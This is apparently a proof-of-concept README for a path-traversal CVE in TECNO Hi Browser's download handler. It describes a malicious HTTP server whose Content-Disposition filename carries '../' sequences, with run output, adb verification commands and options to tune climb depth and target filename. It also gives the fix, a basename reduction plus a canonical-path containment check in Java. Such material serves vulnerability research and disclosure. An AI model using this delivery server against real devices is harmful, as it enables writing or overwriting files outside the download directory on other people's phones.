## https://sploitus.com/exploit?id=953FC90C-F03E-5C29-87F7-EFFC1E789596
# CVE-2026-18907 β Path Traversal in TECNO Hi Browser Download Handler
Proof-of-concept for **CVE-2026-18907** (`CVSS 7.5 High`, CWE-23), a relative
path-traversal vulnerability in the **download file feature** of **TECNO Hi
Browser** (`com.talpa.hibrowser`) version **2.23.1.1**. The browser trusted an
attacker-controlled `Content-Disposition` filename and joined it onto the
download directory without sanitising path separators or canonical-path
checking the result β so `../` sequences in the filename let the response body
be written outside `Download/` to any path the browser's storage permissions
allow.
- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-18907
- **Vendor advisory (TECNO SRC):** https://security.tecno.com/SRC/blogdetail/448?lang=en_US
- **Accompanying article:** https://www.hunt-benito.com/blog/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal/
- **Researcher credited:** MUSTAFA SANLI
- **Status:** fixed in the latest version of Hi Browser (per TECNO advisory).
> This PoC does **not** include the proprietary `com.talpa.hibrowser` APK. It
> demonstrates (a) the exact malicious HTTP *delivery* and (b) the *root-cause
> class* of bug (a downloader that trusts a response filename as a path
> component). The same primitive is what CVE-2026-18907 describes.
## Files
| File | Purpose |
|---|---|
| `evil_server.py` | The malicious HTTP server. Serves one response whose `Content-Disposition` filename carries `../`. This is the *delivery*. |
| `naive_downloader.py` | A minimal downloader that reproduces the vulnerable `join(dir, filename)` pattern, alongside the fixed (basename + canonical-containment) version, so you can watch the escape in one run. |
## Quick start
```bash
# terminal 1 β start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 β run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
```
The vulnerable join produced `/tmp/demo/Download/../../pwned.txt`, the OS
resolved the `..`, and the file materialised at **`/tmp/pwned.txt`** β *outside*
the download directory. The fixed path took `os.path.basename()` first (the
`../` is path information and is discarded, leaving `pwned.txt`) and then
verified the canonical path stayed inside the download dir.
## Pointing a browser at it
Start `evil_server.py` on a host the test device can reach, then navigate a
vulnerable browser to `http://:8000/`. On a browser that auto-starts
`attachment` downloads and does not sanitise the filename, the file is written
to a path resolved by the `../` chain. Verify containment failed with `adb`:
```bash
$ adb shell ls -la /sdcard/Download/ # nothing β name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
```
Tune the climb depth to the device with `--depth` (default 2 clears
`/sdcard/Download/` back to `/sdcard/`; raise it to climb higher), and the
landing basename with `--target`.
## The fix (one idiom)
For any download manager, the whole CWE-23 class collapses to two habits
applied together:
1. **Reduce to a basename** β strip everything up to and including the last `/`.
2. **Verify canonical-path containment** β after joining, canonicalise and
assert the result still starts with the intended directory.
```java
File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
```
Do **not** blacklist `../` β the set of traversal-equivalent encodings is
open-ended. Canonicalise, then compare. That algorithm is closed.
## Responsible use
Run the server only on a network you control and only test against a device you
own. A path-traversal write is, by definition, a file-write primitive β point
it at nothing you are not willing to overwrite.
## License
MIT β see the accompanying article for full attribution and primary sources.